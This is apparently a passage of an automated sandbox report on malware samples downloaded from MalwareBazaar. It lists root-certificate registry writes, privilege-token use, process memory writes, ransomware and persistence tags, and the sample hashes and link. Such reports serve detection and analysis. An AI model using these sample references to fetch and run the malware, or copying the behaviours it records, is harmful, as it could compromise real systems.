Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 04000000010000001000000078f2fcaa601f2fb4ebc937ba532e7549030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	setup_1.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WebCompanionInstaller.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8CF427FD790C3AD166068DE81E57EFBB932272D4	WebCompanionInstaller.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WebCompanionInstaller.exe

NTFS ADS 5 IoCs

Processes:

firefox.exe

description	ioc	process
File created	C:\Users\Admin\Downloads\9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff.zip:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\c4285d31e8669ee5b08aa43ec05210c89ccd947c393dd1ba9cb8a074d8ab3841.zip:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.zip:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\b2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660.zip:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\bf4cf1798ba35624c5f589e3cb81f752b35262fc7c6458082a7b0d44ba6510dc.zip:Zone.Identifier	firefox.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

2136 NOTEPAD.EXE
Runs net.exe

pid	process
2136	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

taskmgr.exeMsiExec.exeMsiExec.exemsiexec.exeWebCompanionInstaller.exeSetup.exepowershell.exe

pid	process
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
1904	MsiExec.exe
1904	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
2496	msiexec.exe
2496	msiexec.exe
5872	WebCompanionInstaller.exe
5872	WebCompanionInstaller.exe
5872	WebCompanionInstaller.exe
5872	WebCompanionInstaller.exe
6108	Setup.exe
6108	Setup.exe
5576	powershell.exe
5576	powershell.exe
5576	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

xxibt.exe

pid process

1872 xxibt.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

652
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

xxibt.exe

pid process

1404 xxibt.exe

pid	process
1872	xxibt.exe

pid	process
652

pid	process
1404	xxibt.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 39 IoCs

Processes:

msedgewebview2.exemsedge.exemsedgewebview2.exe

pid	process
1340	msedgewebview2.exe
1340	msedgewebview2.exe
1340	msedgewebview2.exe
1340	msedgewebview2.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
5608	msedgewebview2.exe
4356	msedge.exe
4356	msedge.exe
5608	msedgewebview2.exe
5608	msedgewebview2.exe
5608	msedgewebview2.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
4356	msedge.exe
5608	msedgewebview2.exe
5608	msedgewebview2.exe
5608	msedgewebview2.exe
5608	msedgewebview2.exe
3084

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

firefox.exe7zG.exetaskmgr.exe7zG.exetaskkill.exe7zG.exemsiexec.exesetup_1.exe

description	pid	process
Token: SeDebugPrivilege	4012	firefox.exe
Token: SeDebugPrivilege	4012	firefox.exe
Token: SeDebugPrivilege	4012	firefox.exe
Token: SeRestorePrivilege	3720	7zG.exe
Token: 35	3720	7zG.exe
Token: SeSecurityPrivilege	3720	7zG.exe
Token: SeSecurityPrivilege	3720	7zG.exe
Token: SeDebugPrivilege	4260	taskmgr.exe
Token: SeSystemProfilePrivilege	4260	taskmgr.exe
Token: SeCreateGlobalPrivilege	4260	taskmgr.exe
Token: SeDebugPrivilege	4012	firefox.exe
Token: SeDebugPrivilege	4012	firefox.exe
Token: SeDebugPrivilege	4012	firefox.exe
Token: 33	4260	taskmgr.exe
Token: SeIncBasePriorityPrivilege	4260	taskmgr.exe
Token: SeDebugPrivilege	4012	firefox.exe
Token: SeDebugPrivilege	4012	firefox.exe
Token: SeDebugPrivilege	4012	firefox.exe
Token: SeRestorePrivilege	5432	7zG.exe
Token: 35	5432	7zG.exe
Token: SeSecurityPrivilege	5432	7zG.exe
Token: SeSecurityPrivilege	5432	7zG.exe
Token: SeDebugPrivilege	2596	taskkill.exe
Token: SeRestorePrivilege	2160	7zG.exe
Token: 35	2160	7zG.exe
Token: SeSecurityPrivilege	2160	7zG.exe
Token: SeSecurityPrivilege	2160	7zG.exe
Token: SeDebugPrivilege	4012	firefox.exe
Token: SeSecurityPrivilege	2496	msiexec.exe
Token: SeCreateTokenPrivilege	6080	setup_1.exe
Token: SeAssignPrimaryTokenPrivilege	6080	setup_1.exe
Token: SeLockMemoryPrivilege	6080	setup_1.exe
Token: SeIncreaseQuotaPrivilege	6080	setup_1.exe
Token: SeMachineAccountPrivilege	6080	setup_1.exe
Token: SeTcbPrivilege	6080	setup_1.exe
Token: SeSecurityPrivilege	6080	setup_1.exe
Token: SeTakeOwnershipPrivilege	6080	setup_1.exe
Token: SeLoadDriverPrivilege	6080	setup_1.exe
Token: SeSystemProfilePrivilege	6080	setup_1.exe
Token: SeSystemtimePrivilege	6080	setup_1.exe
Token: SeProfSingleProcessPrivilege	6080	setup_1.exe
Token: SeIncBasePriorityPrivilege	6080	setup_1.exe
Token: SeCreatePagefilePrivilege	6080	setup_1.exe
Token: SeCreatePermanentPrivilege	6080	setup_1.exe
Token: SeBackupPrivilege	6080	setup_1.exe
Token: SeRestorePrivilege	6080	setup_1.exe
Token: SeShutdownPrivilege	6080	setup_1.exe
Token: SeDebugPrivilege	6080	setup_1.exe
Token: SeAuditPrivilege	6080	setup_1.exe
Token: SeSystemEnvironmentPrivilege	6080	setup_1.exe
Token: SeChangeNotifyPrivilege	6080	setup_1.exe
Token: SeRemoteShutdownPrivilege	6080	setup_1.exe
Token: SeUndockPrivilege	6080	setup_1.exe
Token: SeSyncAgentPrivilege	6080	setup_1.exe
Token: SeEnableDelegationPrivilege	6080	setup_1.exe
Token: SeManageVolumePrivilege	6080	setup_1.exe
Token: SeImpersonatePrivilege	6080	setup_1.exe
Token: SeCreateGlobalPrivilege	6080	setup_1.exe
Token: SeCreateTokenPrivilege	6080	setup_1.exe
Token: SeAssignPrimaryTokenPrivilege	6080	setup_1.exe
Token: SeLockMemoryPrivilege	6080	setup_1.exe
Token: SeIncreaseQuotaPrivilege	6080	setup_1.exe
Token: SeMachineAccountPrivilege	6080	setup_1.exe
Token: SeTcbPrivilege	6080	setup_1.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

firefox.exe7zG.exetaskmgr.exe

pid	process
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
3720	7zG.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

firefox.exetaskmgr.exe

pid	process
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe
4260	taskmgr.exe

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

firefox.exexxibt.exe

pid	process
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
1872	xxibt.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe
4012	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

firefox.exefirefox.exe

description	pid	process	target process
PID 2132 wrote to memory of 4012	2132	firefox.exe	firefox.exe
PID 2132 wrote to memory of 4012	2132	firefox.exe	firefox.exe
PID 2132 wrote to memory of 4012	2132	firefox.exe	firefox.exe
PID 2132 wrote to memory of 4012	2132	firefox.exe	firefox.exe
PID 2132 wrote to memory of 4012	2132	firefox.exe	firefox.exe
PID 2132 wrote to memory of 4012	2132	firefox.exe	firefox.exe
PID 2132 wrote to memory of 4012	2132	firefox.exe	firefox.exe
PID 2132 wrote to memory of 4012	2132	firefox.exe	firefox.exe
PID 2132 wrote to memory of 4012	2132	firefox.exe	firefox.exe
PID 2132 wrote to memory of 4012	2132	firefox.exe	firefox.exe
PID 2132 wrote to memory of 4012	2132	firefox.exe	firefox.exe
PID 4012 wrote to memory of 4972	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 4972	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 1408	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 3312	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 3312	4012	firefox.exe	firefox.exe
PID 4012 wrote to memory of 3312	4012	firefox.exe	firefox.exe

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

Processes:

msedgewebview2.exemsedgewebview2.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection	msedgewebview2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection	msedgewebview2.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://bazaar.abuse.ch/sample/c4285d31e8669ee5b08aa43ec05210c89ccd947c393dd1ba9cb8a074d8ab3841/
1⤵
- Suspicious use of WriteProcessMemory
PID:2132

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://bazaar.abuse.ch/sample/c4285d31e8669ee5b08aa43ec05210c89ccd947c393dd1ba9cb8a074d8ab3841/
2⤵
- Checks processor information in registry
- NTFS ADS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4012

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.0.555661011\1821990613" -parentBuildID 20221007134813 -prefsHandle 1820 -prefMapHandle 1812 -prefsLen 20890 -prefMapSize 232675 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bf8f16dd-81e5-4b10-b5b2-f93631ad40b6} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 1912 284a8ea7f58 gpu
3⤵
PID:4972

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.1.1405902547\1788772031" -parentBuildID 20221007134813 -prefsHandle 2396 -prefMapHandle 2392 -prefsLen 21706 -prefMapSize 232675 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {324f647f-6272-448c-8dad-8fe4d42eb845} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 2408 2849ae73a58 socket
3⤵
PID:1408

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4012.2.542461196\713721961" -childID 1 -isForBrowser -prefsHandle 3000 -prefMapHandle 2964 -prefsLen 21854 -prefMapSize 232675 -jsInitHandle 1456 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {58d2b1a4-4365-4344-b68b-4a42f36765ea} 4012 "\\.\pipe\gecko-crash-server-pipe.4012" 2996 284abd16158 tab
3⤵
PID:3312

C:\Program Files\Mozilla Firefox\firefox.exe
